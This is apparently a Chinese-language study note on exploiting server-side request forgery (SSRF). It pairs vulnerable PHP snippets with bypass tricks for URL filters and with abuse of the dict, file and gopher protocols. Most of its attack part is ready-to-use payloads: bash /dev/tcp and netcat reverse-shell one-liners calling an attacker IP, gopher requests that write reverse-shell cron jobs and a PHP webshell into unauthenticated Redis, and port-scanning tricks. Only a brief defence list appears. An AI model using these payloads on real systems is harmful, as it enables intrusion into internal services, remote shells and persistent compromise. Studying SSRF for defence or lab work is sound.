原理
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
产生原因:
很多Wb应用都提供了从其他服务器上获取数据的功能。使用用户指定的URL,Web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地服务器。服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制.
CVE-2023-33246命令执行
危害
对外网服务器所在的内网,本地进行端口扫描
相关函数
需要加上http://
一般都为post 下面是模拟ssrf漏洞场景 都以GET演示
file_get_contents
<?php
if (isset($_GET['url'])) {
$content = file_get_contents($_GET['url']);
$filename = 'img1.jpg';
file_put_contents($filename, $content);
$img="<img src=\"".$filename."\"/>";
}
echo $img;
?>
利用:
url=http://www.localhost.com/2.txt //内网地址 =>要读取的文件
访问图片所在位置127.0.0.1/img1.jpg
fsockopen
<?php
function GetFile($host, $port, $link)
{
//fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用
//(例如: fgets() , fgetss() ,
// fwrite() , fclose() 还有 feof() )。如果调用失败,将返回 FALSE 。
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents = '';
while (! feof($fp)) {
$contents .= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
$host = $_GET['host'];
$port = $_GET['port'];
$link = $_GET['link'];
echo GetFile($host, $port, $link);
curl_exec
<?php
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init(); //初始curl会话
curl_setopt($curlobj,CURLOPT_POST, 0); //禁止用post提交数据
curl_setopt($curlobj,CURLOPT_URL,$link); //需要获取的URL地址
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER,1); //true 将curl_exec()获取的信息以字符串返回,而不是直接输出
$result=curl_exec($curlobj);//执行curl的会话
curl_close($curlobj);//关闭资源
echo $result;} //打印结果
?>
利用:
url=http://www.localhost.com/2.txt //内网地址 =>要读取的文件
漏洞挖掘
通过url地址分享网页内容
转码服务
在线翻译
图片加载与下载
验证:可以在Firebug或者burpsuite抓包工具,查看请求数据包中是否包含http://www.a.com/a.jpg这个请求。由于SSRF是服务端发起的请求,因此在加载这张图片的时候本地浏览器中不应该存在图片的请求。
在验证完是由服务端发起的请求之后,此处就有可能存在SSRF,接下来需要验证此URL是否可以来请求对应的内网地址。
首先我们要获取内网存在HTTP服务且存在favicon.ico文件地址,才能验证是否是SSRF。
http://127.0.0.1 此处找内网地址可以通过从漏洞平台中的历史漏洞寻找泄露的内网地址
若是有限制
补充:若是对link 有拦截
//strpos拦截 符合返回0,不符合返回false 1是否为2
$pos =strpos($link,'www.baidu.com');
if($pos===false){
echo 'NO';
die();
}
if(strpos($link,'127.0.0.1')!==false)
{
echo 'NO';
die();
}
if(strpos($link,'localhost')!==false)
{
echo 'NO';
die();
}
url=www.baidu.com@127。0。0。1
关于绕过
<?php
if (isset($_GET['url'])) {
$content = file_get_contents($_GET['url']);
}
echo $content;
?>
用@符号绕过 //@ 绕过白名单 如url=http://www.baidu.com@127.0.0.1 访问内网地址
用 。绕过 //绕过黑名单
可以尝试将ip地址转换为十进制和十六进制绕过
短网址绕过 =>黑名单 用file_get_contents
后缀加上.nip.io =>绕waf /sslip.io同理
==>然后前缀可以随便加一些 如 eee.www.127.0.0.1.nip.io /sslip.io同理
127.255.255.254 /[::1]跟127.0.0.1一样 都是访问本地回环地址
url 十六进制加密
http://www.yunjson.com/urlcode/
短网址生成
http://tool.chinaz.com/tools/dwz.aspx?qq-pf-to=pcqq.group https://json-online.com/code/shorturl14.html
常用协议
dict协议
file协议 =>绝对路径
http协议 =>访问
ftp协议(扫描端口极其好用) 如 url=ftp://127.0.0.1:3306 若是开启会一直转圈,没有的话秒出
curl_exec函数下可用 bp抓包 intruder=>狙击手 常用端口 =>
gopher协议
常用端口https://zhuanlan.zhihu.com/p/534297790
http://:探测内网主机存活、端口开放情况
gopher://:发送GET或POST请求;攻击内网应用,如FastCGI、Redis
dict://:泄露安装软件版本信息,查看端口,操作内网redis访问等
file://:读取本地文件
dict
1、探测内网主机
2、探测端口的开放情况和指纹信息 (端口开放返回指纹信息 )
3、执行命令
使用方式:
1、
dict://serverip:port/命令:参数 (命令用:隔开)
2、向服务器的端口请求为【命令:参数】,并在末尾自动补上\r\n(CRLF),为漏洞利用增加了便利
3、dict协议执行命令要一条一条执行
使用条件:
必须是redis未设密码的情况下才可利用dict执行命令,否则即便知道密码也无法进行其他操作。因为在每一次发送命令的同时都需要进行身份认证,即第一次发送auth qianxun通过认证,第二次发送get name时还是提示要密码认证,说明redis是无记忆的。而dict只能一次执行一条命令,所以无法操作。
1.dict如果是通过curl发包,那么就需要两个反斜杠,并且在头部和尾部加上\"
2.dict如果是通过浏览器发包,那么只需要一个反斜杠,并且在头部和尾部加上"
3.第二条开始只要是有空格的地方需要加上:进行分割
4.反弹shelle的命令中如果这个shell是写在var/spool/,cron这个文件夹下面那么就要去掉反弹shell中的root,如果反弹shell的命令是写到/etc/crontab这个文件里面那么就不需要删除
dict协议发包格式如下:
浏览器发包:
http:/ip地址/ssrf.php?url=dict:/127.0.0.1:6379/命令1:命令2:命令3
curl发包:
curl dict:/ip地址:端口/命令1:命令2:命令3
gopher
万金油工具 gopherus
命令python2 gopher.py –exploit 数据库
Gopher是Internet.上一个非常有名的信息查找系统,它将Internet.上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet_上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp 70端口。但在WWW出现后,Gophers失去了昔日的辉煌。现在它基本过时,人们很少再使用它; gophert协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gophert协议的请求。gophert协议是ssrf利用中最强大的协议 限制: gophert协议在各个编程语言中的使用限制 协议 PHP --wite-curlwrappers.且php版本至少为5.3 Java 小于JDK1.7 Curl 低版本不支持 Perl 支持 ASP.NET 小于版本3 gopher:编码的注意事项 curl gopher://靶机ip:端口/_ ?需要编码 空格需要编码 在每个段落结束都需要加上%0d%0a GET请求构造 GET /ssrf.php?data=gopher HTTP/1.1 Host: 192.168.43.135(靶机地址) POST请求构造: POST /ssrf.php HTTP/1.1 Host: 192.168.43.135 Content-Type:application/x-www-form-urlencoded Content-Length:11
反弹shell
linux bash -i >& /dev/tcp/192.168.43.134/8888 0>&1 在监听的主机ip/端口号 监听主机开启 nc -lvp 8888 windows(需要下载netcat) nc ip port -e c:\windows\system32\cmd.exe 监听主机开启 nc -lvp port
反弹shell
借助gopher协议
curl gopher://靶机ip:端口/_ 反弹shell=>攻击机 ip/端口
curl gopher://192.168.43.142:6379/_
set tom “\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.43.134/9999 0>&1\n\n\n\n” config set dir /etc/ config set dbfilename crontab save
set xx “\n* * * * * bash -i >& /dev/tcp/192.168.43.134/7999 0>&1\n” config set dir /var/spool/cron/ config set dbfilename root save
在bp进行url转码=>结尾加上%0d%0a
攻击机监听返回端口 弹出shell
wget下载木马
在真实环境中我们找到了一个带有ssrf的网站,通过端口扫描发现一台只能本地访问的redis服务器. curl gopher通过SSRF写一个反弹shell http:需要编码(gopher://127.0.0.1:6379/_) (: / //) 攻击的内容需要编码两次,因为http协议会自动解码一次 , 如果不编码两份会报错
通过ssrf漏洞来攻击redis,并非直接访问redis
curl http://靶机ip/ssrf.php?url=gopher://127.0.0.1:6379/_
set xx “\n* * * * * bash -i >& /dev/tcp/192.168.43.134/7878 0>&1\n” config set dir /var/spool/cron/ config set dbfilename root save
第一次编码 %0a=>%0d%0a 后面加%0d%0a
第二次编码
webshell
攻击代码改为这个 其他的同上 set tom “\n\n\n\n* * * * * <?php phpinfo();?>\n\n\n\n” config set dir /www/admin/localhost_80/wwwroot/ config set dbfilename shell.php
公钥ssh
防御
1.统一错误信息,避免用户可以根据错误信息来判断远程服务器端口状态 2.限制请求的端口为HTTP常用的端口,比如80,443,8080,8088等 3.黑名单内网IP。 =>设置白名单(针对127.0.0.1)for循环 =>防止绕过 4.禁用不需要的协议,仅仅允许HTTP和HTTPS.
centos7启动 src ./redis-server redis.conf
攻击机 nmap -sT 靶机ip -p 6379
redis 客户端和服务端
1.set key value 设置key
2.get key 查看key
3.type key 查看类型
4.del name 删除 key
备份数据 通过key
监听eth0网卡 6379端口的包写入该文件
tcpdump -i eth0 port 6379 -w redis.pcap
wireshark 抓包 tcp =>追踪流 =>追踪tcp流 划到最后粉红色的包
*n => n个元素
$n => n个字符
例子 set passwd 123456
*3
$3
set
$6
passwd
$6
123456
save
